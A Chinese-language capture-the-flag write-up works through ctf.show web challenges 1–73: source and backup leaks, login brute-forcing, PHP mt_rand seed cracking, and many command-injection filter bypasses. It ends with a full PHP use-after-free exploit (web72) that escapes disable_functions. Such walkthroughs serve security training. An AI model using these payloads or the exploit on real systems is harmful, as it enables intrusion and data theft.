ctf.show-web-1000题

信息收集

1-20题

web1

右键查看源代码得到flag
在这里插入图片描述

web2

禁用了右键直接ctrl+u 打开查看源代码
在这里插入图片描述

web3

f12 打开网络,刷新一下页面
在这里插入图片描述

web4

发现robots.txt 有东西
在这里插入图片描述
在这里插入图片描述

web5

提示:phps 源码泄露
url 加index.phps 下载文件
在这里插入图片描述

打开文件
在这里插入图片描述

web6

提示:解压源码到当前目录
直接想到了/www.zip
下载文件
在这里插入图片描述
解压出来fl00g.txt
在这里插入图片描述

打开fl000g.txt 没东西,浏览器访问fl000g.txt
在这里插入图片描述

web7

提示:版本控制很重要
输入.git
在这里插入图片描述

web8

输入/.svn
在这里插入图片描述

web9

提示:发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了
如果我们使用vim 编辑一个文件正在编辑的时候突然电脑关机,会生成一个临时文件.swp
访问index.php.swp
在这里插入图片描述

web10

提示:cookie
f12 打开控制台输入document.cookie 获取cookie
在这里插入图片描述

web11

提示:域名
使用微步在线打开在这里插入图片描述
flag{just_seesee}

web12

提示:公开信息
下拉到最下面发现电话,很有可能会把电话当作密码
在这里插入图片描述
url路径加入admin
用户名:admin 密码:372619038
在这里插入图片描述
在这里插入图片描述

web13

打开文件查看源代码发现pdf 文件
在这里插入图片描述
获得后台账号和密码
在这里插入图片描述

在这里插入图片描述

web14

提示:editor
url: 路径/editor,有存在上传点
在这里插入图片描述
点击上传处进入文件空间可以直接访问目录
在这里插入图片描述
/var/www/html/nothinghere/fl000g.txt
在这里插入图片描述
直接访问/nothinghere/fl000g.txt
在这里插入图片描述

web15

提示:邮箱泄露
在最下方找到邮箱
在这里插入图片描述
路径加入/admin 进入后台

在这里插入图片描述
点击忘记密码,提示密保问题为城市
在这里插入图片描述

查找qq 号,找到地址
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

web16

提示:探针泄露
路径tz.php
点击phpinfo
在这里插入图片描述
phpinfo 找到flag
在这里插入图片描述

web17

备份英文单词为backup
访问backup.sql
下载文件
在这里插入图片描述

web18

查看js 发现 当score>100 的时候返回 unicode 编码
在这里插入图片描述
解码
在这里插入图片描述

访问110.php
在这里插入图片描述

web19

查看源代码

打开aes 解密
在这里插入图片描述

得到密码
在这里插入图片描述

web20

提示:mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了
输入路径:/db/db.mdb 下载文件
在这里插入图片描述

爆破

21-28题

web21

输入账号密码admin 123456 抓包
在这里插入图片描述

选定的base64 编码解密一下
在这里插入图片描述

爆破选择自定义迭代器配置第一个 账号在这里插入图片描述

配置第二个 :
在这里插入图片描述

配置第三个密码,使用题目附件密码
在这里插入图片描述

设置base64编码
在这里插入图片描述
最下面取消url编码这些文件
在这里插入图片描述

点击开始攻击

在这里插入图片描述

在这里插入图片描述

登录
在这里插入图片描述

web22

访问http://flag.ctfer.com/index.php
得到flag{ctf_show_web}

web23

<?php
error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){        # get 传参token  不能为空
    $token = md5($_GET['token']);     # 传入的值为md5加密
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){   
    # substr截断例如substr(hello,1,1)结果就是e  substr(hello,1,2)结果就是el substr(hello,3,2)结果就是lo
    # 条件加密后的token结果必须满足条件 第1位=第14位=第17位
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
        # intval() # 函数用于取整
        # 条件是 token 第1位+第14位+第17位÷第1位=第31位
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?>

编写代码
在这里插入图片描述
在这里插入图片描述

web24

<php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);             
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}

?>

伪随机数mt_srand() 已经固定
直接在线执行下
在这里插入图片描述
在这里插入图片描述

web25

<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));    # hexdec 将16进制转换为10进制
    $rand = intval($r)-intval(mt_rand());  
    if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}
?>

这里有个判断可以输出 rand变量
我们将 r=0 就可以得到 mt_rand() 的值
在这里插入图片描述

使用mt_rand() 种子破解器破解工具
https://github.com/Al1ex/php_mt_seed

进入目录make 编译 一下得到 php_mt_seed
在这里插入图片描述
./php_mt_seed 1999799409
得到 mt_srand = 1825113513
在这里插入图片描述

要拿flag 还要计算token 的值
3345704867
在这里插入图片描述

构造参数
r=1999799409
token=3345704867

在这里插入图片描述

web26

输入账号密码发现错误
直接掏出burp 开始爆破
在这里插入图片描述

使用web21的字典爆破密码为7758521
在这里插入图片描述
登录抓包得到flag
在这里插入图片描述

web27

在这里插入图片描述

发现有个录取名单,还有个信息查询系统
在这里插入图片描述
要查询录取,但是得知道身份证中缺少的8位,这8位为生日
在这里插入图片描述

抓包爆破
这里burp 抓不到包,我们自己到浏览器登录一下复制请求头
在这里插入图片描述

在这里插入图片描述

设置参数
在这里插入图片描述

得到真实身份证信息
在这里插入图片描述

编码转换一下得到学号密码为身份证
在这里插入图片描述
登录得到flag
在这里插入图片描述

web28

看url 可疑尝试爆破url
爆破不需要加2.txt 当输入正确的路径时,会自动加载

在这里插入图片描述

设置两个都一样
在这里插入图片描述
得到flag
在这里插入图片描述

命令执行

29-124题

web29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){   # 正则匹配 有flag 赋值中没有有flag 就会返回$c 内容
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
?>

这里eval 函数可直接执行命令
在这里插入图片描述

cat fla?.php 绕过
在这里插入图片描述

在这里插入图片描述

web30

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

c=(sy.(st).em)(ls);
在这里插入图片描述

c=(sy.(st).em)('cat fla?.ph?');
在这里插入图片描述

在这里插入图片描述

web31

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

我们将字符串转换为8进制
?c="\163\171\163\164\145\155"("\154\163");

system('ls')
在这里插入图片描述
?c="\163\171\163\164\145\155"("\143\141\164\40\146\154\141\147\56\160\150\160");

system('cat flag.php')
在这里插入图片描述
在这里插入图片描述

web32

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

使用include 方法 或者require
get:?c=include$_POST["url"]?>
post:url=php://filter/read=convert.base64-encode/resource=flag.php
在这里插入图片描述

在这里插入图片描述

web33

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

get:?c=include$_POST[url]?>
post:url=php://filter/read=convert.base64-encode/resource=flag.php
和上一关相比,不能使用多了双引号,这个不影响,我们可以直接不加单双引号
在这里插入图片描述

web34

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多了:不影响
get:?c=include$_POST[url]?>
post:url=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

web35

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多了< = 依然不影响
get:?c=include$_POST[url]?>
post:url=php://filter/read=convert.base64-encode/resource=flag.php
在这里插入图片描述

web36

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多了 过滤数字,不影响

get:?c=include$_POST[url]?>
post:url=php://filter/read=convert.base64-encode/resource=flag.php
在这里插入图片描述

web37

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
}

使用了include包含
使用 data:// 方式
?c=data://test/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

web38

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

和上面方法一样
使用 data:// 方式
?c=data://test/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web39

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

?c=data:text/plain,<?php system('cat fla*');?>

web40

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

仔细看发现过滤的是中文的(没有过滤英文的
参考大佬博客

  1. session 方式 修改session 内容为 ls
    ?c=session_start();system(session_id());
    在这里插入图片描述

在这里插入图片描述
但是要读取flag 的时候出现了问题
原因是php 版本的问题 session_id规定为0-9,a-z,A-Z,中的字符

print_r() 函数用于打印变zhao量,以更容易理解的形式展示

localeconv():是一个编程语言函数,返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.)

pos():返回数组中的当前元素的值。
这里也可以换成current(),作用和pos类似

scandir():获取目录下的文件
scandir('.')      获取当前目录下的文件


通过 pos(localeconv())得到点号

获取当前目录文件
?c=print_r(scandir(pos(localeconv())));
或者
?c=print_r(scandir(current(localeconv())));
在这里插入图片描述
读取flag 取出数组中的值


show_source() 读文件
each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组

因为flag.php 在倒数第二位所以使用next

?c=show_source(next(array_reverse(scandir(current(localeconv())))));

在这里插入图片描述

web41

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

数字字母都过滤了,但是利用或运算进行构造
例如过滤了字母a ,但是没有过滤 32 和 65 ,a 的ascii 编码是97
通过或运算,得到a
32 | 65 = 97 = a
先疑惑排除过滤的,然后在判断异或得到的字符是否为可见字符

使用yu22x 脚本

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);
import requests
import urllib
import re
from sys import *
if(len(argv)!=2):
    print("="*50)
    print('USER:python exp.py <url>')
    print("eg:  python exp.py http://ctf.show/")
    print("exit: input exit in function")
    print("="*50)
    exit(0)
url=argv[1]

#生成可用的字符
def write_rce():
    result = ''
    preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'
    for i in range(256):
        for j in range(256):
            if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
                k = i | j
                if k >= 32 and k <= 126:
                    a = '%' + hex(i)[2:].zfill(2)
                    b = '%' + hex(j)[2:].zfill(2)
                    result += (chr(k) + ' ' + a + ' ' + b + '\n')
    f = open('rce.txt', 'w')
    f.write(result)
    
#根据输入的命令在生成的txt中进行匹配
def action(arg):
    s1=""
    s2=""
    for i in arg:
        f=open("rce.txt","r")
        while True:
            t=f.readline()
            if t=="":
                break
            if t[0]==i:
                s1+=t[2:5]
                s2+=t[6:9]
                break
        f.close()
    output="(\""+s1+"\"|\""+s2+"\")"
    return(output)

def main():
    write_rce()
    while True:
        s1 = input("\n[+] your function:")
        if s1 == "exit":
            break
        s2 = input("[+] your command:")
        param=action(s1) + action(s2)
        data={
            'c':urllib.parse.unquote(param)
            }
        r=requests.post(url,data=data)
        print("\n[*] result:\n"+r.text)

main()

在这里插入图片描述

在这里插入图片描述

web42

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}
  /dev/null 			# 是一个空设备,一切写入的东西都会丢弃
  2>&1                # 将错误输出绑定到标准输出上。因为错误输出绑定到空设备,所以标准输出也为空
# >/dev/null 2>&1 意思就是写入的内容会永远消失

当我们使用?c=ls 的时候,结果就是 ls > /dev/null 2>&1
ls 写入到空设备内容永远消失
但是我们只需要加上; ls; > /dev/null 2>&1
结果就是两条命令了
在这里插入图片描述

在这里插入图片描述

查看源代码
在这里插入图片描述

web43

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了cat 和 ;
绕过cat : tac
绕过; 使用 | || && & ; %0a (换行符) %0d (回车符号)
在这里插入图片描述

在这里插入图片描述

web44

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了个flag

flag.php 替换为 fla?.php
在这里插入图片描述

web45

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了空格
空格替换为 %09
在这里插入图片描述

web46

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

使用上一关的方法
tac%09fla?.php%0a
在这里插入图片描述

web47

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

tac%09fla?.php%0a

在这里插入图片描述

web48

tac%09fla?.php%0a

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在这里插入图片描述

web49

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=tac%09fla?.php%0a

在这里插入图片描述

web50

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了%号,之前的payload 不能使用了
?c=tac<>fla\g.php||
?c=tac<fla''g.php||
在这里插入图片描述

web51

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了一个tac,ta’'c就可以绕过
?c=ta''c<fla''g.php||
在这里插入图片描述

web52

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了两个< 但是放了$
就可以使用 ${IFS}

?c=ta''c${IFS}fla''g.php||

在这里插入图片描述
假flag 似乎
ls${IFS}../../../|| 发现flag 在这个目录下
在这里插入图片描述
?c=ta''c${IFS}../../../fla''g||

在这里插入图片描述

web53

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

和上一题方法一样但是这题不用结尾
?c=ta''c${IFS}fla''g.php

在这里插入图片描述

web54

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤掉了大部分关键字
方法一:利用paste查看文件内容
?c=paste${IFS}fla?.php
方法二:使用cat 因为cat 在/bin 目录 使用/bin/?at 让匹配
?c=/bin/?at${IFS}f???????
方法三:使用grep 将带有show 字样的一行打印出来
?c=grep${IFS}show{${IFS}fla?.php

在这里插入图片描述

web55

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

使用base64 方式 /bin/base64
?c=/???/????64 ????.???
/bin/base64 flag.php
在这里插入图片描述

web56

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

即过滤了数字又过滤了字母
参考文章使用无字母数字方式上传shell
利用php的特性:上传文件post包,php会将上传的文件保存在临时的文件夹下 /tmp/phpxxxxxx。文件名最后的6个字符是随机的大小写字母,最后一个字符大概率是大写字母
比如:我们上传了一个php文件,内容为ls,就会保存到/tmp目录
在这里插入图片描述

文件名为phpgsawdZ
我们使用linux 的bash 命令,执行文件内容
. /tmp/phpgsawdZ
直接执行文件内容的语句
在这里插入图片描述

然后我们就可以使用,glob 通配符的方法
原本是
. /???/????????[A-Z]
但是过滤了字母所以使用
. /???/????????[@-[]
请添加图片描述

先在本地试试,确认可以执行
在这里插入图片描述

言归正传,我们先上传文件,直接使用脚本上传

这里写脚本要用循环,原因上面也说了,这里在提醒一下,文件上传后只有概率 最后一个字母是大写,所以使用循环试

# -- coding: utf-8 --
import requests

url = "http://d39f5c22-b131-4e92-8495-eb19e78f98f8.challenge.ctf.show/?c=. /???/????????[@-[]"
file = {
    'file': ("1.txt","cat flag.php")
}
while True:
    r = requests.post(url,files=file)
    if "ctfshow" in r.text:
        print(r.text)
        break

在这里插入图片描述

web57

<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

把?- 一些东西过滤了并且提示flag 为 36.php,但是他已经写好system 和cat了,只需要构造 36
linux shell 命令 可以使用 $ (构造数字

$(())     # 代表做一次运算,因为里面为空,也表示值为0
$((~$(())))     # 对0 取反 为-1
$(($((~$(())))$((~$(())))))     # (-1)+(-1)为-2
$((~$(($((~$(())))$((~$(())))))))     # 对-2 取反得到 1
$((~$(($((~$(())))$((~$(())))$((~$(())))))))  # 值为2
$((   ~$((  $((~$(()))) $((~$(()))) $((~$(()))) $((~$(())))  ))  )) # 值为3

36 就是

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
写个脚本
在这里插入图片描述

在这里插入图片描述

web58

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

post 传参,system 使用不了,直接使用show_source 读取文件
在这里插入图片描述

web59

和上一题一样
在这里插入图片描述

web60

在这里插入图片描述

web61

在这里插入图片描述

web62

在这里插入图片描述

web63

在这里插入图片描述

web64

在这里插入图片描述

web65

在这里插入图片描述

web66

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

show_source() 无法使用了
使用highlight_file()
在这里插入图片描述

提示flag不在这

print_r()     # 打印内容
scandir()     # 返回指定目录中的文件

print_r(scandir('/')); # 打印根目录文件
发现flag.txt
在这里插入图片描述
在这里插入图片描述

web67

使用print_r出现告警,print_r() 被禁用

发现var_dump() 可以使用
在这里插入图片描述
在这里插入图片描述

web68

打开没有代码提示,highlight_file() 被警用
先查看flag 位置
在这里插入图片描述
使用include,require 都可以
在这里插入图片描述

web69

使用var_dump() 发现被禁用

使用var_export()
在这里插入图片描述
在这里插入图片描述

web70

c=var_export(scandir('/'));
在这里插入图片描述

在这里插入图片描述

web71

使用之前的语句发现满屏问号
在这里插入图片描述

看代码可以发现,将所有的数字和字母都替换成了 ?号
在这里插入图片描述
在后面加个exit(); 直接进行退出
在这里插入图片描述
c=include("/flag.txt");exit();

web72

使用刚刚的payload 提示没有flag.txt
在这里插入图片描述
做不出来,看了大佬博客,使用

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

列出根目录下的文件,flag 文件是 flag0.txt
在这里插入图片描述
原本想使用上一题的payload,却发现include 函数被禁止使用
使用网上给的exp

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();

使用的时候需要url 编码一下
在这里插入图片描述

web73

使用上一题的payload,先列出根目录文件

